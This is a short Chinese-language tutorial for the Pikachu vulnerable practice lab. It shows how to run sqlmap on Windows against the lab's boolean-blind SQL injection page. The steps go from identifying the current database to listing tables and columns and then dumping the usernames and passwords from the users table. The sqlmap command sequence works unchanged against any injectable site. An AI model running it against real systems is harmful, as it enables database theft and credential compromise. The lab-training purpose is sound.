基于Windows系统
- 1.pikachu--SQL-Inject(可选择盲注 base on boolian)得到以下提示
- 在输入框中随便输入数据,以77777为例,得到如下
-
- 2. win+r--cmd,在命令提示符开始进行输入
- 输入python+空格+将sqlmap.py文件进行拖入
- 使用sqlmap 进行注入测试,格式如下,sqlmap -u "准备注入的URL" --current-db
- 回车,进行下一步,在遇到【Y/n】时,一律输入Y即可
- 获得数据库名称—pikachu和数据库版本
- 在原有命令的基础上进行更改,获取pikachu中的表单,-D pikachu --tables
- 获取表单成功
- 选取表单中一个,这里以users为例,进行破解,输入-D pikachu -T users -columns获取users中的全部列
- 获取其中的用户名与密码,继续更改口令, -D pikachu -T users -C username,password --dump
- 即获得用户名与密码